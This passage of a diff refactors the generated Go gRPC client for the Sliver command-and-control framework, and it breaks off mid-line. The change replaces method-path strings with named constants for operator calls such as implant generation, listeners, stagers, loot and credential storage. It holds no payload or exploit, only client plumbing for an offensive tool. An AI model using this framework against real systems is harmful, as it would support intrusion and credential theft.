{ + grpc.ClientStream +} + +func (x *sliverRPCImplantHistoryClient) Send(m *clientpb.ImplantCommand) error { + return x.ClientStream.SendMsg(m) +} + +func (x *sliverRPCImplantHistoryClient) CloseAndRecv() (*commonpb.Empty, error) { + if err := x.ClientStream.CloseSend(); err != nil { + return nil, err + } + m := new(commonpb.Empty) + if err := x.ClientStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} + +func (c *sliverRPCClient) GetImplantHistory(ctx context.Context, in *clientpb.HistoryRequest, opts ...grpc.CallOption) (*clientpb.History, error) { + out := new(clientpb.History) + err := c.cc.Invoke(ctx, SliverRPC_GetImplantHistory_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -310,7 +527,7 @@ func (c *sliverRPCClient) Rename(ctx context.Context, in *clientpb.RenameReq, op func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) { out := new(clientpb.Sessions) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetSessions", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetSessions_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -319,7 +536,7 @@ func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, o func (c *sliverRPCClient) GetBeacons(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Beacons, error) { out := new(clientpb.Beacons) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetBeacons", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetBeacons_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -328,7 +545,7 @@ func (c *sliverRPCClient) GetBeacons(ctx context.Context, in *commonpb.Empty, op func (c *sliverRPCClient) GetBeacon(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*clientpb.Beacon, error) { out := new(clientpb.Beacon) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetBeacon", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetBeacon_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -337,7 +554,7 @@ func (c *sliverRPCClient) GetBeacon(ctx context.Context, in *clientpb.Beacon, op func (c *sliverRPCClient) RmBeacon(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RmBeacon", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RmBeacon_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -346,7 +563,7 @@ func (c *sliverRPCClient) RmBeacon(ctx context.Context, in *clientpb.Beacon, opt func (c *sliverRPCClient) GetBeaconTasks(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*clientpb.BeaconTasks, error) { out := new(clientpb.BeaconTasks) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetBeaconTasks", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetBeaconTasks_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -355,7 +572,7 @@ func (c *sliverRPCClient) GetBeaconTasks(ctx context.Context, in *clientpb.Beaco func (c *sliverRPCClient) GetBeaconTaskContent(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error) { out := new(clientpb.BeaconTask) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetBeaconTaskContent", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetBeaconTaskContent_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -364,7 +581,7 @@ func (c *sliverRPCClient) GetBeaconTaskContent(ctx context.Context, in *clientpb func (c *sliverRPCClient) CancelBeaconTask(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error) { out := new(clientpb.BeaconTask) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CancelBeaconTask", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CancelBeaconTask_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -373,7 +590,7 @@ func (c *sliverRPCClient) CancelBeaconTask(ctx context.Context, in *clientpb.Bea func (c *sliverRPCClient) MonitorStart(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*commonpb.Response, error) { out := new(commonpb.Response) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MonitorStart", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MonitorStart_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -382,7 +599,7 @@ func (c *sliverRPCClient) MonitorStart(ctx context.Context, in *commonpb.Empty, func (c *sliverRPCClient) MonitorStop(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MonitorStop", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MonitorStop_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -391,7 +608,7 @@ func (c *sliverRPCClient) MonitorStop(ctx context.Context, in *commonpb.Empty, o func (c *sliverRPCClient) GetJobs(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Jobs, error) { out := new(clientpb.Jobs) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetJobs", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetJobs_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -400,7 +617,7 @@ func (c *sliverRPCClient) GetJobs(ctx context.Context, in *commonpb.Empty, opts func (c *sliverRPCClient) KillJob(ctx context.Context, in *clientpb.KillJobReq, opts ...grpc.CallOption) (*clientpb.KillJob, error) { out := new(clientpb.KillJob) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/KillJob", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_KillJob_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -409,7 +626,7 @@ func (c *sliverRPCClient) KillJob(ctx context.Context, in *clientpb.KillJobReq, func (c *sliverRPCClient) StartMTLSListener(ctx context.Context, in *clientpb.MTLSListenerReq, opts ...grpc.CallOption) (*clientpb.MTLSListener, error) { out := new(clientpb.MTLSListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartMTLSListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartMTLSListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -418,7 +635,7 @@ func (c *sliverRPCClient) StartMTLSListener(ctx context.Context, in *clientpb.MT func (c *sliverRPCClient) StartWGListener(ctx context.Context, in *clientpb.WGListenerReq, opts ...grpc.CallOption) (*clientpb.WGListener, error) { out := new(clientpb.WGListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartWGListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartWGListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -427,7 +644,7 @@ func (c *sliverRPCClient) StartWGListener(ctx context.Context, in *clientpb.WGLi func (c *sliverRPCClient) StartDNSListener(ctx context.Context, in *clientpb.DNSListenerReq, opts ...grpc.CallOption) (*clientpb.DNSListener, error) { out := new(clientpb.DNSListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartDNSListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartDNSListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -436,7 +653,7 @@ func (c *sliverRPCClient) StartDNSListener(ctx context.Context, in *clientpb.DNS func (c *sliverRPCClient) StartHTTPSListener(ctx context.Context, in *clientpb.HTTPListenerReq, opts ...grpc.CallOption) (*clientpb.HTTPListener, error) { out := new(clientpb.HTTPListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartHTTPSListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartHTTPSListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -445,7 +662,7 @@ func (c *sliverRPCClient) StartHTTPSListener(ctx context.Context, in *clientpb.H func (c *sliverRPCClient) StartHTTPListener(ctx context.Context, in *clientpb.HTTPListenerReq, opts ...grpc.CallOption) (*clientpb.HTTPListener, error) { out := new(clientpb.HTTPListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartHTTPListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartHTTPListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -454,7 +671,7 @@ func (c *sliverRPCClient) StartHTTPListener(ctx context.Context, in *clientpb.HT func (c *sliverRPCClient) StartTCPStagerListener(ctx context.Context, in *clientpb.StagerListenerReq, opts ...grpc.CallOption) (*clientpb.StagerListener, error) { out := new(clientpb.StagerListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartTCPStagerListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartTCPStagerListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -463,7 +680,7 @@ func (c *sliverRPCClient) StartTCPStagerListener(ctx context.Context, in *client func (c *sliverRPCClient) StartHTTPStagerListener(ctx context.Context, in *clientpb.StagerListenerReq, opts ...grpc.CallOption) (*clientpb.StagerListener, error) { out := new(clientpb.StagerListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartHTTPStagerListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartHTTPStagerListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -472,7 +689,7 @@ func (c *sliverRPCClient) StartHTTPStagerListener(ctx context.Context, in *clien func (c *sliverRPCClient) LootAdd(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.Loot, error) { out := new(clientpb.Loot) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LootAdd", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_LootAdd_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -481,7 +698,7 @@ func (c *sliverRPCClient) LootAdd(ctx context.Context, in *clientpb.Loot, opts . func (c *sliverRPCClient) LootRm(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LootRm", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_LootRm_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -490,7 +707,7 @@ func (c *sliverRPCClient) LootRm(ctx context.Context, in *clientpb.Loot, opts .. func (c *sliverRPCClient) LootUpdate(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.Loot, error) { out := new(clientpb.Loot) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LootUpdate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_LootUpdate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -499,7 +716,7 @@ func (c *sliverRPCClient) LootUpdate(ctx context.Context, in *clientpb.Loot, opt func (c *sliverRPCClient) LootContent(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.Loot, error) { out := new(clientpb.Loot) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LootContent", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_LootContent_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -508,7 +725,7 @@ func (c *sliverRPCClient) LootContent(ctx context.Context, in *clientpb.Loot, op func (c *sliverRPCClient) LootAll(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllLoot, error) { out := new(clientpb.AllLoot) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LootAll", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_LootAll_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -517,7 +734,7 @@ func (c *sliverRPCClient) LootAll(ctx context.Context, in *commonpb.Empty, opts func (c *sliverRPCClient) Creds(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Credentials, error) { out := new(clientpb.Credentials) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Creds", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Creds_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -526,7 +743,7 @@ func (c *sliverRPCClient) Creds(ctx context.Context, in *commonpb.Empty, opts .. func (c *sliverRPCClient) CredsAdd(ctx context.Context, in *clientpb.Credentials, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CredsAdd", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CredsAdd_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -535,7 +752,7 @@ func (c *sliverRPCClient) CredsAdd(ctx context.Context, in *clientpb.Credentials func (c *sliverRPCClient) CredsRm(ctx context.Context, in *clientpb.Credentials, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CredsRm", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CredsRm_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -544,7 +761,7 @@ func (c *sliverRPCClient) CredsRm(ctx context.Context, in *clientpb.Credentials, func (c *sliverRPCClient) CredsUpdate(ctx context.Context, in *clientpb.Credentials, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CredsUpdate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CredsUpdate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -553,7 +770,7 @@ func (c *sliverRPCClient) CredsUpdate(ctx context.Context, in *clientpb.Credenti func (c *sliverRPCClient) GetCredByID(ctx context.Context, in *clientpb.Credential, opts ...grpc.CallOption) (*clientpb.Credential, error) { out := new(clientpb.Credential) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetCredByID", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetCredByID_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -562,7 +779,7 @@ func (c *sliverRPCClient) GetCredByID(ctx context.Context, in *clientpb.Credenti func (c *sliverRPCClient) GetCredsByHashType(ctx context.Context, in *clientpb.Credential, opts ...grpc.CallOption) (*clientpb.Credentials, error) { out := new(clientpb.Credentials) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetCredsByHashType", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetCredsByHashType_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -571,7 +788,7 @@ func (c *sliverRPCClient) GetCredsByHashType(ctx context.Context, in *clientpb.C func (c *sliverRPCClient) GetPlaintextCredsByHashType(ctx context.Context, in *clientpb.Credential, opts ...grpc.CallOption) (*clientpb.Credentials, error) { out := new(clientpb.Credentials) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetPlaintextCredsByHashType", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetPlaintextCredsByHashType_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -580,7 +797,7 @@ func (c *sliverRPCClient) GetPlaintextCredsByHashType(ctx context.Context, in *c func (c *sliverRPCClient) CredsSniffHashType(ctx context.Context, in *clientpb.Credential, opts ...grpc.CallOption) (*clientpb.Credential, error) { out := new(clientpb.Credential) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CredsSniffHashType", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CredsSniffHashType_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -589,7 +806,7 @@ func (c *sliverRPCClient) CredsSniffHashType(ctx context.Context, in *clientpb.C func (c *sliverRPCClient) Hosts(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllHosts, error) { out := new(clientpb.AllHosts) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Hosts", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Hosts_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -598,7 +815,7 @@ func (c *sliverRPCClient) Hosts(ctx context.Context, in *commonpb.Empty, opts .. func (c *sliverRPCClient) Host(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*clientpb.Host, error) { out := new(clientpb.Host) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Host", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Host_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -607,7 +824,7 @@ func (c *sliverRPCClient) Host(ctx context.Context, in *clientpb.Host, opts ...g func (c *sliverRPCClient) HostRm(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostRm", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_HostRm_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -616,7 +833,7 @@ func (c *sliverRPCClient) HostRm(ctx context.Context, in *clientpb.Host, opts .. func (c *sliverRPCClient) HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostIOCRm", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_HostIOCRm_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -625,7 +842,7 @@ func (c *sliverRPCClient) HostIOCRm(ctx context.Context, in *clientpb.IOC, opts func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error) { out := new(clientpb.Generate) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Generate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Generate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -634,7 +851,7 @@ func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq func (c *sliverRPCClient) GenerateExternal(ctx context.Context, in *clientpb.ExternalGenerateReq, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error) { out := new(clientpb.ExternalImplantConfig) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternal", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GenerateExternal_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -643,7 +860,7 @@ func (c *sliverRPCClient) GenerateExternal(ctx context.Context, in *clientpb.Ext func (c *sliverRPCClient) GenerateExternalSaveBuild(ctx context.Context, in *clientpb.ExternalImplantBinary, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternalSaveBuild", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GenerateExternalSaveBuild_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -652,7 +869,7 @@ func (c *sliverRPCClient) GenerateExternalSaveBuild(ctx context.Context, in *cli func (c *sliverRPCClient) GenerateExternalGetImplantConfig(ctx context.Context, in *clientpb.ImplantConfig, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error) { out := new(clientpb.ExternalImplantConfig) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternalGetImplantConfig", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GenerateExternalGetImplantConfig_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -660,7 +877,7 @@ func (c *sliverRPCClient) GenerateExternalGetImplantConfig(ctx context.Context, } func (c *sliverRPCClient) BuilderRegister(ctx context.Context, in *clientpb.Builder, opts ...grpc.CallOption) (SliverRPC_BuilderRegisterClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], "/rpcpb.SliverRPC/BuilderRegister", opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], SliverRPC_BuilderRegister_FullMethodName, opts...) if err != nil { return nil, err } @@ -693,7 +910,7 @@ func (x *sliverRPCBuilderRegisterClient) Recv() (*clientpb.Event, error) { func (c *sliverRPCClient) BuilderTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/BuilderTrigger", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_BuilderTrigger_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -702,7 +919,7 @@ func (c *sliverRPCClient) BuilderTrigger(ctx context.Context, in *clientpb.Event func (c *sliverRPCClient) Builders(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Builders, error) { out := new(clientpb.Builders) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Builders", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Builders_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -710,7 +927,7 @@ func (c *sliverRPCClient) Builders(ctx context.Context, in *commonpb.Empty, opts } func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], "/rpcpb.SliverRPC/CrackstationRegister", opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], SliverRPC_CrackstationRegister_FullMethodName, opts...) if err != nil { return nil, err } @@ -743,7 +960,7 @@ func (x *sliverRPCCrackstationRegisterClient) Recv() (*clientpb.Event, error) { func (c *sliverRPCClient) CrackstationTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackstationTrigger", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackstationTrigger_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -752,7 +969,7 @@ func (c *sliverRPCClient) CrackstationTrigger(ctx context.Context, in *clientpb. func (c *sliverRPCClient) CrackstationBenchmark(ctx context.Context, in *clientpb.CrackBenchmark, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackstationBenchmark", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackstationBenchmark_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -761,7 +978,7 @@ func (c *sliverRPCClient) CrackstationBenchmark(ctx context.Context, in *clientp func (c *sliverRPCClient) Crackstations(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Crackstations, error) { out := new(clientpb.Crackstations) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Crackstations", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Crackstations_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -770,7 +987,7 @@ func (c *sliverRPCClient) Crackstations(ctx context.Context, in *commonpb.Empty, func (c *sliverRPCClient) CrackTaskByID(ctx context.Context, in *clientpb.CrackTask, opts ...grpc.CallOption) (*clientpb.CrackTask, error) { out := new(clientpb.CrackTask) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackTaskByID", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackTaskByID_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -779,7 +996,7 @@ func (c *sliverRPCClient) CrackTaskByID(ctx context.Context, in *clientpb.CrackT func (c *sliverRPCClient) CrackTaskUpdate(ctx context.Context, in *clientpb.CrackTask, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackTaskUpdate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackTaskUpdate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -788,7 +1005,7 @@ func (c *sliverRPCClient) CrackTaskUpdate(ctx context.Context, in *clientpb.Crac func (c *sliverRPCClient) CrackFilesList(ctx context.Context, in *clientpb.CrackFile, opts ...grpc.CallOption) (*clientpb.CrackFiles, error) { out := new(clientpb.CrackFiles) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFilesList", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackFilesList_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -797,7 +1014,7 @@ func (c *sliverRPCClient) CrackFilesList(ctx context.Context, in *clientpb.Crack func (c *sliverRPCClient) CrackFileCreate(ctx context.Context, in *clientpb.CrackFile, opts ...grpc.CallOption) (*clientpb.CrackFile, error) { out := new(clientpb.CrackFile) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFileCreate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackFileCreate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -806,7 +1023,7 @@ func (c *sliverRPCClient) CrackFileCreate(ctx context.Context, in *clientpb.Crac func (c *sliverRPCClient) CrackFileChunkUpload(ctx context.Context, in *clientpb.CrackFileChunk, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFileChunkUpload", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackFileChunkUpload_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -815,7 +1032,7 @@ func (c *sliverRPCClient) CrackFileChunkUpload(ctx context.Context, in *clientpb func (c *sliverRPCClient) CrackFileChunkDownload(ctx context.Context, in *clientpb.CrackFileChunk, opts ...grpc.CallOption) (*clientpb.CrackFileChunk, error) { out := new(clientpb.CrackFileChunk) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFileChunkDownload", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackFileChunkDownload_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -824,7 +1041,7 @@ func (c *sliverRPCClient) CrackFileChunkDownload(ctx context.Context, in *client func (c *sliverRPCClient) CrackFileComplete(ctx context.Context, in *clientpb.CrackFile, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFileComplete", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackFileComplete_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -833,7 +1050,7 @@ func (c *sliverRPCClient) CrackFileComplete(ctx context.Context, in *clientpb.Cr func (c *sliverRPCClient) CrackFileDelete(ctx context.Context, in *clientpb.CrackFile, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CrackFileDelete", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CrackFileDelete_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -842,7 +1059,7 @@ func (c *sliverRPCClient) CrackFileDelete(ctx context.Context, in *clientpb.Crac func (c *sliverRPCClient) Regenerate(ctx context.Context, in *clientpb.RegenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error) { out := new(clientpb.Generate) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Regenerate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Regenerate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -851,7 +1068,7 @@ func (c *sliverRPCClient) Regenerate(ctx context.Context, in *clientpb.Regenerat func (c *sliverRPCClient) ImplantBuilds(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ImplantBuilds, error) { out := new(clientpb.ImplantBuilds) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ImplantBuilds", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ImplantBuilds_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -860,7 +1077,7 @@ func (c *sliverRPCClient) ImplantBuilds(ctx context.Context, in *commonpb.Empty, func (c *sliverRPCClient) DeleteImplantBuild(ctx context.Context, in *clientpb.DeleteReq, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/DeleteImplantBuild", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_DeleteImplantBuild_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -869,7 +1086,7 @@ func (c *sliverRPCClient) DeleteImplantBuild(ctx context.Context, in *clientpb.D func (c *sliverRPCClient) Canaries(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Canaries, error) { out := new(clientpb.Canaries) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Canaries", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Canaries_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -878,7 +1095,7 @@ func (c *sliverRPCClient) Canaries(ctx context.Context, in *commonpb.Empty, opts func (c *sliverRPCClient) GenerateWGClientConfig(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.WGClientConfig, error) { out := new(clientpb.WGClientConfig) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateWGClientConfig", in, out, opts...) + err := c.cc.Invoke(ctx, 